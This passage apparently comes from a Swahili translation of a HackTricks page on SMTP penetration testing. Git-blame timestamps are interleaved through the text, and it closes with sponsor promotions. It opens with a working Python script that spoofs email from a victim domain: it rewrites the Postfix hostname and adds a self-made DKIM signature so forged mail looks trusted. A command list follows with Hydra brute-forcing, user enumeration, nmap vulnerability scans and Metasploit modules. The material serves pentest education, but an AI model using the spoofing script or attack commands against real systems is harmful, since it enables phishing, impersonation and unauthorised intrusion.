from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
2024-02-11 02:13:58 +00:00
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
2022-10-12 12:28:51 +00:00
</html>
"""
sender_domain=sender.split("@")[1]
# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
2024-02-11 02:13:58 +00:00
dkim_private_key = fh.read()
2022-10-12 12:28:51 +00:00
# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
```
{% endtab %}
{% endtabs %}
### **Maelezo zaidi**
2020-09-26 15:24:30 +00:00
2024-02-11 02:13:58 +00:00
**Pata maelezo zaidi kuhusu ulinzi huu katika** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
### **Viashiria vingine vya udanganyifu**
2020-11-29 23:31:10 +00:00
2024-02-11 02:13:58 +00:00
* Umri wa kikoa
* Viungo vinavyoelekeza kwa anwani za IP
* Mbinu za udhibiti wa viungo
* Viambatisho vya shaka (visivyo vya kawaida)
* Yaliyomo ya barua pepe iliyovunjika
* Thamani zinazotumiwa ambazo ni tofauti na zile za vichwa vya barua
* Kuwepo kwa cheti halali na lenye kuaminika la SSL
2024-02-11 02:13:58 +00:00
* Kutuma ukurasa kwenye tovuti za kuchuja maudhui ya wavuti
2020-11-29 23:31:10 +00:00
## Kutolewa kwa njia ya SMTP
2024-02-11 02:13:58 +00:00
**Ikiwa unaweza kutuma data kupitia SMTP** [**soma hii**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
## Faili ya Usanidi
### Postfix
2021-08-29 23:49:17 +00:00
Kawaida, ikiwa imewekwa, katika `/etc/postfix/master.cf` ina **maandishi ya kutekelezwa** wakati kwa mfano barua mpya inapopokelewa na mtumiaji. Kwa mfano, mstari `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` inamaanisha kwamba `/etc/postfix/filtering` itatekelezwa ikiwa barua mpya inapokelewa na mtumiaji mark.
2021-08-29 23:49:17 +00:00
2024-02-11 02:13:58 +00:00
Faili nyingine za usanidi:
```
sendmail.cf
submit.cf
```
## Marejeo
2024-02-05 02:28:59 +00:00
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)
## Amri za Kiotomatiki za HackTricks
```
2021-08-12 13:33:09 +00:00
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
2021-08-15 18:02:01 +00:00
Entry_1:
2024-02-11 02:13:58 +00:00
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
2021-08-15 18:02:01 +00:00
2024-02-11 02:13:58 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-smtp
2021-08-15 18:02:01 +00:00
Entry_2:
2024-02-11 02:13:58 +00:00
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
2021-08-15 18:02:01 +00:00
Entry_3:
2024-02-11 02:13:58 +00:00
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
2021-08-15 18:02:01 +00:00
Entry_4:
2024-02-11 02:13:58 +00:00
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
2021-08-15 18:02:01 +00:00
Entry_5:
2024-02-11 02:13:58 +00:00
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
2021-08-12 13:33:09 +00:00
2021-08-15 18:03:22 +00:00
Entry_6:
2024-02-11 02:13:58 +00:00
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
2021-09-13 15:35:02 +00:00
Entry_7:
2024-02-11 02:13:58 +00:00
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
2024-02-11 02:13:58 +00:00
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
2021-08-12 13:33:09 +00:00
```
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
**Mipangilio inapatikana mara moja kwa tathmini ya udhaifu & upenyezaji**. Tekeleza pentest kamili kutoka mahali popote na zana na vipengele zaidi ya 20 vinavyoanzia uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa pentest - tunatengeneza zana za desturi, moduli za ugunduzi & unyonyaji ili kuwarudishia muda wa kuchimba kwa kina, kufungua makombora, na kufurahi.
2022-04-28 16:01:33 +00:00
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>